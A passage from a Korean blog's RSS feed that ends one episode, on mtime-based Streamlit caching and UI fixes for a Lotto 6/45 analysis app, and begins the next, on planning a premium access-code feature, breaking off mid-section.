    main()&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  동작 원리 상세 (Detailed Mechanism)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫 번째 실행 (First Execution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 1. mtime 확인 (Check mtime)
file_mtime = get_csv_file_mtime()  # &amp;rarr; 1704355200.123456

# 2. 캐시 확인 (Check cache)
# 캐시 키: &quot;load_lotto_data_1704355200.123456&quot;
# 캐시 없음! (No cache!)

# 3. 데이터 로딩 (Load data)
loader = load_lotto_data(1704355200.123456)  # 2.5초 소요 (2.5 sec)

# 4. 캐시 저장 (Save to cache)
# 캐시 키: &quot;load_lotto_data_1704355200.123456&quot;
# 값: loader 객체 (loader object)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;두 번째 실행 (Second Execution - 파일 변경 없음, No File Change):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 1. mtime 확인 (Check mtime)
file_mtime = get_csv_file_mtime()  # &amp;rarr; 1704355200.123456 (동일, same)

# 2. 캐시 확인 (Check cache)
# 캐시 키: &quot;load_lotto_data_1704355200.123456&quot;
# 캐시 히트! (Cache HIT!)

# 3. 캐시에서 반환 (Return from cache)
loader = load_lotto_data(1704355200.123456)  # 0.5초 소요 (0.5 sec)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;세 번째 실행 (Third Execution - 파일 변경됨, File Changed):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# [CSV 파일 업데이트됨 (CSV file updated)]
# mtime: 1704355200.123456 &amp;rarr; 1704441600.654321

# 1. mtime 확인 (Check mtime)
file_mtime = get_csv_file_mtime()  # &amp;rarr; 1704441600.654321 (변경됨, changed!)

# 2. 캐시 확인 (Check cache)
# 캐시 키: &quot;load_lotto_data_1704441600.654321&quot;
# 캐시 미스! (Cache MISS!) - 새로운 키 (new key)

# 3. 데이터 재로딩 (Reload data)
loader = load_lotto_data(1704441600.654321)  # 2.5초 소요 (2.5 sec)

# 4. 새 캐시 저장 (Save new cache)
# 캐시 키: &quot;load_lotto_data_1704441600.654321&quot;
# 값: 새 loader 객체 (new loader object)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 추가 UI 개선 (Additional UI Improvements)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  날짜 표시 개선 (Date Display Enhancement)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 (Problem):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;기존 (Before): 2014.06.07 00:00:00 ~ 2026.01.03 00:00:00
               &amp;uarr; 불필요한 시간 부분 (Unnecessary time part)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sas&quot;&gt;&lt;code&gt;# 시간 부분 제거 (Remove time part)
start_date = loader.df['일자'].min().strftime('%Y.%m.%d')
end_date = loader.df['일자'].max().strftime('%Y.%m.%d')

st.info(f&quot;  **데이터 기간 (Data Period):** {start_date} ~ {end_date}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과 (Result):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;개선 후 (After): 2014.06.07 ~ 2026.01.03
                &amp;uarr; 깔끔! (Clean!)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  고정 모드 도움말 동적 변경 (Dynamic Fixed Mode Help)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기존 (Before):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;help=&quot;5개 조합에 이 번호를 반드시 포함합니다. (Include this number in all 5 combinations.)&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 (Problem):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;조합 개수가 바뀌어도 &quot;5개 조합&quot;으로 고정 (Always says &quot;5 combinations&quot;)&lt;/li&gt;
&lt;li&gt;사용자가 3개 선택하면 부정확 (Inaccurate if user selects 3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;# 동적으로 텍스트 생성 (Generate text dynamically)
n_combinations = st.slider(&quot;추천 개수 (Count)&quot;, 1, 10, 5)

fixed_help = f&quot;{n_combinations}개 조합에 이 번호를 반드시 포함합니다. &quot; \
             f&quot;(Include this number in all {n_combinations} combinations.)&quot;

fixed_number = st.number_input(
    &quot;고정 번호 (Fixed Number)&quot;,
    min_value=0,
    max_value=45,
    value=0,
    help=fixed_help  # &amp;larr; 동적 텍스트 (Dynamic text)
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과 (Result):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3개 선택 시: &quot;3개 조합에 이 번호를 반드시 포함합니다.&quot;&lt;/li&gt;
&lt;li&gt;7개 선택 시: &quot;7개 조합에 이 번호를 반드시 포함합니다.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  다음 회차 자동 계산 (Auto-calculate Next Round)&lt;/h3&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;# 최신 회차 확인 (Get latest round)
latest_round = loader.numbers_df['회차'].max()

# 다음 회차 계산 (Calculate next round)
next_round = latest_round + 1

st.success(f&quot;  다음 추첨 회차 (Next Draw): **{next_round}회**&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  핵심 배운 점 (Key Takeaways)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;✅ mtime 활용 (mtime Utilization)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 파일 메타데이터의 힘 (Power of File Metadata)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 단 한 줄로 파일 변경 감지 (Detect file changes in one line)
mtime = os.path.getmtime(csv_path)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 언더스코어의 의미 (Meaning of Underscore)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;@st.cache_data
def load_data(_file_mtime):  # &amp;larr; 언더스코어 중요! (Underscore important!)
    # Streamlit에게 &quot;이 값으로 캐시 키 만들어&quot;라고 알림
    # Tells Streamlit &quot;use this value as cache key&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. TTL 설정 (TTL Configuration)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;@st.cache_data(ttl=60)  # 60초마다 재확인 (Recheck every 60 sec)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  설계 철학 (Design Philosophy)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 자동화 우선 (Automation First)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 아무것도 안 해도 동작 (Works without user action)&lt;/li&gt;
&lt;li&gt;파일 변경 &amp;rarr; 자동 감지 &amp;rarr; 자동 갱신 (File change &amp;rarr; Auto-detect &amp;rarr; Auto-refresh)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 투명성 (Transparency)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자는 캐싱을 의식하지 않음 (User unaware of caching)&lt;/li&gt;
&lt;li&gt;항상 최신 데이터처럼 보임 (Always appears to be latest data)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 성능과 정확도의 균형 (Balance of Performance &amp;amp; Accuracy)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변경 없을 때: 초고속 (0.5초, Fast when no change)&lt;/li&gt;
&lt;li&gt;변경 있을 때: 약간 느림 (2.5초) but 정확함 (Slow but accurate when changed)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 안정성 (Reliability)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;에러 처리 (Error Handling):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def get_csv_file_mtime():
    &quot;&quot;&quot;CSV 파일 수정 시간 반환 (Return CSV mtime)&quot;&quot;&quot;
    csv_path = &quot;...&quot;

    # 파일 존재 확인 (Check file exists)
    if not os.path.exists(csv_path):
        raise FileNotFoundError(f&quot;CSV not found: {csv_path}&quot;)

    return os.path.getmtime(csv_path)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;폴백 (Fallback):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;isbl&quot;&gt;&lt;code&gt;try:
    file_mtime = get_csv_file_mtime()
    loader = load_lotto_data(file_mtime)
except FileNotFoundError:
    st.error(&quot;❌ 데이터 파일을 찾을 수 없습니다. (Data file not found.)&quot;)
    st.stop()&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크 (Related Links)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit Caching 문서 (Docs)&lt;/b&gt;: &lt;a href=&quot;https://docs.streamlit.io/develop/concepts/architecture/caching&quot;&gt;https://docs.streamlit.io/develop/concepts/architecture/caching&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Python os.path 문서&lt;/b&gt;: &lt;a href=&quot;https://docs.python.org/3/library/os.path.html&quot;&gt;https://docs.python.org/3/library/os.path.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/187&quot;&gt;8편 - 복사하고, 붙여넣고, 3초&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/185&quot;&gt;10편 - 문을 여는 코드, PREM-&lt;b&gt;&lt;b&gt;-&lt;/b&gt;&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며 (Closing Thoughts)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;파일은 기억한다. 마지막으로 수정된 그 순간을.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mtime. Modification Time. 파일이 마지막으로 변경된 시간. 단순한 숫자 하나였다. 하지만 이 숫자가 모든 것을 바꿨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐싱의 딜레마가 있었다. 빠르면 구데이터, 정확하면 느림. 둘 중 하나를 선택해야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 mtime은 제3의 길을 제시했다. &quot;파일이 변경되지 않았다면 캐시를 쓰고, 변경되었다면 다시 읽어라.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;os.path.getmtime()&lt;/code&gt;. 단 한 줄의 코드였다. 이 한 줄이 성능과 정확도를 모두 가져왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Streamlit의 &lt;code&gt;_file_mtime&lt;/code&gt; 파라미터. 언더스코어 하나가 캐시 키를 만들었다. mtime이 바뀌면 새로운 키, 새로운 캐시, 새로운 데이터.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.5초의 속도와 100%의 정확도. 이제 둘 다 가질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일이 기억하는 그 순간들이, 우리 앱을 똑똑하게 만들었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#동적캐싱 #mtime #파일메타데이터 #Streamlit캐싱 #성능최적화 #캐시무효화 #자동갱신 #데이터최신성 #스마트캐싱 #파일시스템&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동적캐싱, mtime, 파일수정시간, Streamlit, 성능최적화, 캐시무효화, 자동갱신, 데이터정확도, 메타데이터, 파일시스템, Python, os.path, TTL, 캐시키&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (9/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 100,241 tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 120,789 tokens (31% 사용 = 54% -13%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 9 작성 사용량: ~20,500 tokens&lt;/li&gt;
&lt;li&gt;이미지 5개 생성 + 본문 작성 포함&lt;/li&gt;
&lt;li&gt;generate_episode9_images.py 스크립트 작성 포함&lt;/li&gt;
&lt;li&gt;mtime 기반 동적 캐싱 시스템 전체 구현 포함&lt;/li&gt;
&lt;li&gt;주간사용량 5%사용 (83% -78%)&lt;/li&gt;
&lt;li&gt;&lt;i&gt;참고:*&lt;/i&gt; 이 에피소드 작성 후 세션이 요약되어 새 세션으로 계속되었습니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>mtime</category>
      <category>streamlit</category>
      <category>데이터정확도</category>
      <category>동적캐싱</category>
      <category>메타데이터</category>
      <category>성능최적화</category>
      <category>자동갱신</category>
      <category>캐시무효화</category>
      <category>파일수정시간</category>
      <category>파일시스템</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/186</guid>
      <comments>https://thepin.tistory.com/186#entry186comment</comments>
      <pubDate>Sun, 11 Jan 2026 11:34:41 +0900</pubDate>
    </item>
    <item>
      <title>Episode 10: 문을 여는 코드, PREM-- (The Code That Opens Doors)</title>
      <link>https://thepin.tistory.com/185</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;h1&gt;Episode 10: 문을 여는 코드, PREM-&lt;b&gt;&lt;b&gt;-&lt;/b&gt;&lt;/b&gt; (The Code That Opens Doors)&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;100개의 특별한 입장권. 환경을 감지하고, Secrets를 관리하며, 세션을 기억하는 프리미엄 인증 시스템.&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;602&quot;&gt;&lt;a href=&quot;https://lo645251227.streamlit.app/&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMge8X/dJMcaaxeH5s/4tblsHcbX6psnYdQa4brrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMge8X%2FdJMcaaxeH5s%2F4tblsHcbX6psnYdQa4brrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1914&quot; height=&quot;602&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;602&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;

&lt;figure data-ke-type=&quot;image&quot; data-ke-style=&quot;alignCenter&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; data-link=&quot;https://lo645251227.streamlit.app/&quot; data-link-islinknewwindow=&quot;true&quot;&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  이번 에피소드에서는&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프리미엄 기능 (Premium Features)&lt;/b&gt;을 보호하기 위한 &lt;b&gt;인증 시스템 (Authentication System)&lt;/b&gt;을 구축합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경 감지 (Environment Detection)부터 액세스 코드 (Access Code), Streamlit Secrets 관리까지 &lt;b&gt;실전 보안 설계 (Real-world Security Design)&lt;/b&gt;를 배웁니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  목차&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#1-%ED%94%84%EB%A6%AC%EB%AF%B8%EC%97%84-%EA%B8%B0%EB%8A%A5-%EA%B8%B0%ED%9A%8D&quot;&gt;프리미엄 기능 기획&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2-%ED%99%98%EA%B2%BD-%EA%B0%90%EC%A7%80-%EC%8B%9C%EC%8A%A4%ED%85%9C&quot;&gt;환경 감지 시스템&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#3-%EC%95%A1%EC%84%B8%EC%8A%A4-%EC%BD%94%EB%93%9C-%EC%84%A4%EA%B3%84&quot;&gt;액세스 코드 설계&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#4-streamlit-secrets-%EA%B4%80%EB%A6%AC&quot;&gt;Streamlit Secrets 관리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#5-%EC%84%B8%EC%85%98-%EC%83%81%ED%83%9C-%EA%B4%80%EB%A6%AC&quot;&gt;세션 상태 관리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#6-%EB%B3%B4%EC%95%88-%EA%B3%A0%EB%A0%A4%EC%82%AC%ED%95%AD&quot;&gt;보안 고려사항&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 프리미엄 기능 기획 (Premium Feature Planning)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KsYAa/dJMcai9O5EN/o8AjFdsS3eTxI0HGQ4RVG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KsYAa/dJMcai9O5EN/o8AjFdsS3eTxI0HGQ4RVG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KsYAa/dJMcai9O5EN/o8AjFdsS3eTxI0HGQ4RVG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKsYAa%2FdJMcai9O5EN%2Fo8AjFdsS3eTxI0HGQ4RVG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;798&quot; height=&quot;453&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  무료 vs 프리미엄 (Free vs Premium)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;무료 기능 (Free Features) - 모두에게 공개&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데이터 탐색 (Data Exploration):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;605회차 전체 당첨번호 조회&lt;/li&gt;
&lt;li&gt;번호별 출현 빈도 통계&lt;/li&gt;
&lt;li&gt;구간별/홀짝별 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;번호 추천 (Number Recommendation):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;7가지 기본 전략&lt;/li&gt;
&lt;li&gt;하이브리드 추천&lt;/li&gt;
&lt;li&gt;그리드 패턴 기반 추천&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;번호 분석 (Number Analysis):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개별 번호 상세 정보&lt;/li&gt;
&lt;li&gt;출현 이력 및 점수&lt;/li&gt;
&lt;li&gt;동반 출현 번호&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예측 모델 (Prediction Model):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;머신러닝 학습 결과 조회&lt;/li&gt;
&lt;li&gt;패턴 분석 결과&lt;/li&gt;
&lt;li&gt;점수 기반 상위 번호&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그리드 패턴 (Grid Pattern):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;7x7 그리드 분석&lt;/li&gt;
&lt;li&gt;위치별 출현 빈도&lt;/li&gt;
&lt;li&gt;구역별 통계&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;데이터 업데이트 (Data Update):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;텍스트 파싱&lt;/li&gt;
&lt;li&gt;자동 백업&lt;/li&gt;
&lt;li&gt;CSV 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;프리미엄 기능 (Premium Features) - PREM-&lt;b&gt;&lt;b&gt;-&lt;/b&gt;&lt;/b&gt; 필요&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;백테스팅 시스템 (Backtesting System):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;605회차 전체 백테스팅&lt;/li&gt;
&lt;li&gt;각 회차마다 직전 데이터만으로 예측&lt;/li&gt;
&lt;li&gt;실제 당첨번호와 비교 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가중치 최적화 (Weight Optimization):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Random Search + Grid Search&lt;/li&gt;
&lt;li&gt;3개 이상 일치율 최대화&lt;/li&gt;
&lt;li&gt;학습/검증 데이터 분리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;성능 메트릭 (Performance Metrics):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3개 이상 일치율 (3+ Match Rate)&lt;/li&gt;
&lt;li&gt;평균 일치 개수 (Average Match Count)&lt;/li&gt;
&lt;li&gt;무작위 기준선 대비 개선율&lt;/li&gt;
&lt;li&gt;통계적 유의성 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;고급 분석 (Advanced Analytics):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회차별 예측 성공률&lt;/li&gt;
&lt;li&gt;전략별 성능 비교&lt;/li&gt;
&lt;li&gt;가중치 민감도 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실시간 재학습 (Real-time Retraining):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최신 데이터로 모델 재학습&lt;/li&gt;
&lt;li&gt;최적 가중치 재계산&lt;/li&gt;
&lt;li&gt;즉시 추천 번호 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커스텀 전략 (Custom Strategies):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 정의 가중치&lt;/li&gt;
&lt;li&gt;전략 조합 실험&lt;/li&gt;
&lt;li&gt;성능 비교 리포트&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  왜 프리미엄인가? (Why Premium?)&lt;/h3&gt;
